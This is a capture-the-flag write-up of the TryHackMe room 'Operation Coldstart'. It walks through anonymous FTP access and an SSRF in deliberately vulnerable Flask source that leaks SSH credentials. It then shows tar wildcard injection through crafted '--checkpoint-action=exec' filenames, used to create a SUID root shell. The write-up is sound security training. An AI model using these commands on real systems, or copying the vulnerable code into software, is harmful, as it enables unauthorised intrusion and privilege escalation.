> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-coldstart.md).

# Operation Coldstart

{% embed url="<https://tryhackme.com/room/operationcoldstart>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

Volt Labs, a small SaaS shop, suspects an old staging server has rotted into an exposed liability. Mara has assigned you the engagement. Find your way in and demonstrate full compromise.

## Summary

<details>

<summary>Summary</summary>

In Operation Coldstart, we begin with external enumeration and discover FTP on port `21` with anonymous login enabled, alongside SSH on port `22` and a web server on port `80`. Anonymous FTP access yields a `backup.tar.gz` containing the Flask source `app.py`, which reveals a URL Preview Service gated by a hostname allow-list of `kestrel.thm` and an `/admin/` area restricted to loopback clients. Since `kestrel.thm` resolves to `127.0.0.1` via the server's internal `/etc/hosts`, the allow-list check passes while the request still hits localhost, enabling SSRF against the internal admin endpoint. We preview `http://kestrel.thm/admin/notes` through the `/preview` route, extract the `webdev` credentials stored in `admin_notes.txt`, and log in via SSH to retrieve the user flag at `/home/webdev/user.txt`.

For privilege escalation, we enumerate cron jobs and find `/etc/cron.d/voltlabs-backup` running `tar czf` with a wildcard `*` inside `/opt/backups` as root. Since `webdev` can write to that directory, we exploit tar's wildcard injection by creating files named `--checkpoint=1` and `--checkpoint-action=exec=sh shell.sh` alongside a `shell.sh` that copies `/bin/bash` to `/tmp` and sets the SUID bit. When the cron job fires, tar interprets the crafted filenames as flags and executes our script as root, after which `/tmp/bash -p` drops us into a root shell and we read the final flag at `/root/flag.txt`.

</details>

## Recon

We use `rustscan -b 500 -a operation-coldstart.thm --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a operation-coldstart.thm --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/GYu41vgXziMnXLrPOPWc" alt=""><figcaption></figcaption></figure>

We have three ports open, FTP on port 21 which allows anonymous login, SSH on port 22 and a web server running on port 80.

<figure><img src="/files/f7OmiyT5WhmXEhJx2fUH" alt=""><figcaption></figcaption></figure>

We log in to the FTP server using `anonymous` and without a password, and find a backup in the `public` directory, which we download.

{% code overflow="wrap" expandable="true" %}

```
ftp operation-coldstart.thm
```

{% endcode %}

<figure><img src="/files/fkVDuYzz3btohGhpAdVx" alt=""><figcaption></figcaption></figure>

We unzip this backup and find a file named `app.py`. It's likely the source code for the site.

{% code overflow="wrap" expandable="true" %}

```
tar xfz backup.tar.gz
```

{% endcode %}

<figure><img src="/files/FtFrAlgDZMWVK4UFjsq9" alt=""><figcaption></figcaption></figure>

The site is a flask-based "URL Preview Service" for Volt Labs that fetches a user-supplied URL and renders its contents on the page, gated by a hostname allow-list `kestrel.thm`. It also exposes an `/admin/` area restricted to loopback clients, including an `/admin/notes` endpoint that reads `admin_notes.txt` from disk.

From the comments, we can see that `kestrel.thm` resolves to `127.0.0.1` in the internal `/etc/hosts` file. And the admin endpoint is only accessible internally.

<figure><img src="/files/XhBvzbQs5Agu7BcqyHzy" alt=""><figcaption></figcaption></figure>

{% code title="app.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
from flask import Flask, request, abort
from urllib.parse import urlparse
import html
import requests

app = Flask(__name__)

# Only requests targeting an approved internal hostname are forwarded.
# Internal hostname resolves to 127.0.0.1 via /etc/hosts on this box.
ALLOWED_HOSTS = {"kestrel.thm"}

CSS = """
<style>
:root{--primary:#0d6efd;--bg:#f6f8fa;--card:#fff;--text:#212529;--muted:#6c757d;--border:#dee2e6}
*{box-sizing:border-box}
body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;font-size:16px;line-height:1.5;color:var(--text);background:var(--bg)}
a{color:var(--primary);text-decoration:none}
a:hover{text-decoration:underline}
.navbar{background:#212529;color:#fff;padding:.75rem 1.5rem;display:flex;align-items:center;justify-content:space-between;box-shadow:0 1px 3px rgba(0,0,0,.08)}
.navbar .brand{font-weight:600;font-size:1.125rem;letter-spacing:.2px}
.navbar .muted-light{color:#a5acb3;font-size:.95rem}
.container{max-width:960px;margin:2rem auto;padding:0 1rem}
.card{background:var(--card);border:1px solid var(--border);border-radius:.5rem;padding:1.5rem;margin-bottom:1.25rem;box-shadow:0 1px 2px rgba(0,0,0,.04)}
h1{font-size:1.75rem;margin:0 0 .75rem}
h2{font-size:1.25rem;margin:1.25rem 0 .5rem}
.muted{color:var(--muted);font-size:.95rem}
.form-group{margin-bottom:1rem}
label{display:block;margin-bottom:.25rem;font-weight:500;font-size:.95rem}
.form-control{display:block;width:100%;padding:.5rem .75rem;font-size:1rem;line-height:1.5;color:var(--text);background:#fff;border:1px solid var(--border);border-radius:.375rem;transition:border-color .15s,box-shadow .15s}
.form-control:focus{outline:0;border-color:#86b7fe;box-shadow:0 0 0 .2rem rgba(13,110,253,.25)}
.btn{display:inline-block;padding:.5rem 1rem;font-size:1rem;font-weight:500;border:1px solid transparent;border-radius:.375rem;cursor:pointer;transition:background .15s}
.btn-primary{background:var(--primary);color:#fff}
.btn-primary:hover{background:#0b5ed7}
pre{background:#f1f3f5;border:1px solid var(--border);border-radius:.375rem;padding:.75rem;overflow:auto;font-size:.9rem;white-space:pre-wrap;word-break:break-word}
footer.site{text-align:center;color:var(--muted);margin:2rem 0;font-size:.875rem}
</style>
"""

def page(title, body):
    return f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>{title} - Volt Labs</title>{CSS}</head>
<body>
<nav class="navbar">
    <span class="brand">Volt Labs</span>
    <span class="muted-light">URL Preview Service &middot; staging</span>
</nav>
<main class="container">{body}</main>
<footer class="site">&copy; Volt Labs &middot; do not expose externally</footer>
</body>
</html>"""

@app.route("/")
def index():
    body = """
    <div class="card">
        <h1>URL Preview Service</h1>
        <p class="muted">Internal tool. Paste a URL below to preview its contents.</p>
        <form method="get" action="/preview">
            <div class="form-group">
                <label for="url">URL</label>
                <input id="url" type="text" name="url" class="form-control" placeholder="https://example.com/" required>
            </div>
            <button type="submit" class="btn btn-primary">Preview</button>
        </form>
    </div>
    """
    return page("URL Preview", body)

@app.route("/preview")
def preview():
    target = request.args.get("url", "")
    if not target:
        return page("Preview Error",
                    '<div class="card"><p>Provide a <code>?url=</code> parameter.</p></div>'), 400

    # VULN: hostname allow-list is the only check. No scheme check, no path check,
    # no localhost-rebind protection - the SSRF is still abusable, but only
    # against the allowed hostname.
    host = (urlparse(target).hostname or "").lower()
    if host not in ALLOWED_HOSTS:
        return page("Preview Blocked",
                    '<div class="card"><p>Host not in the approved internal allow-list.</p></div>'), 403

    try:
        r = requests.get(target, timeout=3)
        safe_target = html.escape(target)
        safe_body = r.text.replace("<", "&lt;")
        body = f"""
        <div class="card">
            <h2>Preview of {safe_target}</h2>
            <pre>{safe_body}</pre>
        </div>
        """
        return page("Preview", body)
    except Exception as e:
        safe_err = html.escape(str(e))
        return page("Preview Failed",
                    f'<div class="card"><p>Fetch failed: {safe_err}</p></div>'), 502

@app.route("/admin/")
@app.route("/admin/<path:p>")
def admin(p="index"):
    if not request.remote_addr.startswith("127."):
        abort(403)
    if p == "notes":
        with open("/opt/voltlabs-preview/admin_notes.txt") as f:
            return "<pre>" + f.read() + "</pre>"
    return "<pre>Volt Labs admin endpoint.</pre>"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)
```

{% endcode %}

## Shell as webdev

We open the page and see the URL preview in front of us.

{% code overflow="wrap" expandable="true" %}

```
http://operation-coldstart.thm/
```

{% endcode %}

<figure><img src="/files/EaBpW05iDf9gGH4RJoA8" alt=""><figcaption></figcaption></figure>

We are unable to identify any additional directories using our Feroxbusters directory scan.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://operation-coldstart.thm/'
```

{% endcode %}

<figure><img src="/files/1jBWJdZTmTHML1wFY1EF" alt=""><figcaption></figcaption></figure>

We first try to get a preview from localhost, but we get a message saying it's not on the allow list. As expected.

{% code overflow="wrap" expandable="true" %}

```
http://operation-coldstart.thm
```

{% endcode %}

<figure><img src="/files/91k0j5222OHLdfnroSDS" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MzUHWUGP9U5q2XthFTCQ" alt=""><figcaption></figcaption></figure>

However, we can preview the page at `http://kestrel.thm`.

{% code overflow="wrap" expandable="true" %}

```
http://kestrel.thm/
```

{% endcode %}

<figure><img src="/files/OPZ2I5GNkjlUfOu4nYRj" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
http://operation-coldstart.thm/preview?url=http://kestrel.thm
```

{% endcode %}

<figure><img src="/files/QNDd2b1jxZ0cGYbfF8Lv" alt=""><figcaption></figcaption></figure>

We also have access to the internal `admin` endpoint.

{% code overflow="wrap" expandable="true" %}

```
http://operation-coldstart.thm/preview?url=http://kestrel.thm/admin
```

{% endcode %}

<figure><img src="/files/cbpLtOb5Pm8GcObeXfY4" alt=""><figcaption></figcaption></figure>

We preview the `/admin/note` endpoint and receive the credentials from the `webdev` user.

{% code overflow="wrap" expandable="true" %}

```
http://operation-coldstart.thm/preview?url=http://kestrel.thm/admin/notes
```

{% endcode %}

<figure><img src="/files/cguiiuE7OzmzOtce5wfb" alt=""><figcaption></figcaption></figure>

Next, we try to log in via SSH using the credentials and are successful. We are webdev and find the user flag at `/home/webdev/user.txt`.

{% code overflow="wrap" expandable="true" %}

```
ssh webdev@operation-coldstart.thm
```

{% endcode %}

<figure><img src="/files/oRDSQwTzNjRjod2t75dN" alt=""><figcaption></figcaption></figure>

## Shell as root

While enumerating the targets, we came across the following cron job, which uses tar run by `root`.&#x20;

{% code overflow="wrap" expandable="true" %}

```
cat /etc/cron.d/voltlabs-backup
```

{% endcode %}

<figure><img src="/files/za8fgmDWLv9qruDhlQ4z" alt=""><figcaption></figcaption></figure>

The command allows a wildcard injection like depicted in hacktricks:

{% embed url="<https://hacktricks.wiki/en/linux-hardening/privilege-escalation/wildcards-spare-tricks.html#tar>" %}

When root's cron runs `tar czf out.tgz *` in a directory you can write to, the shell expands `*` to whatever filenames exist there. So files named `--checkpoint=1` and `--checkpoint-action=exec=sh shell.sh` get passed to tar as actual command-line flags. Tar's `--checkpoint-action=exec=`  runs a shell command at each checkpoint, so it executes `shell.sh` as `root`.&#x20;

With that we copy the bash binary to tmp and make it a SUID binary owned by `root`.

{% code overflow="wrap" expandable="true" %}

```
cd /opt/backups
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
touch -- '--checkpoint=1'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
touch -- '--checkpoint-action=exec=sh shell.sh'
```

{% endcode %}

Once root runs e.g. `tar -czf /root/backup.tgz *`, `shell.sh` is executed as `root`.

<figure><img src="/files/VDgc7VXnjSrEBL4ShYdH" alt=""><figcaption></figcaption></figure>

After a short duration we have the SUID bash binary at `tmp`.

We run it in the context of `root` and get a `root` shell. The final flag is found at `/root/flag.txt`.

{% code overflow="wrap" expandable="true" %}

```
/tmp/bash -p
```

{% endcode %}

<figure><img src="/files/b8RDiyHqzUtEFXgEhBqC" alt=""><figcaption></figcaption></figure>
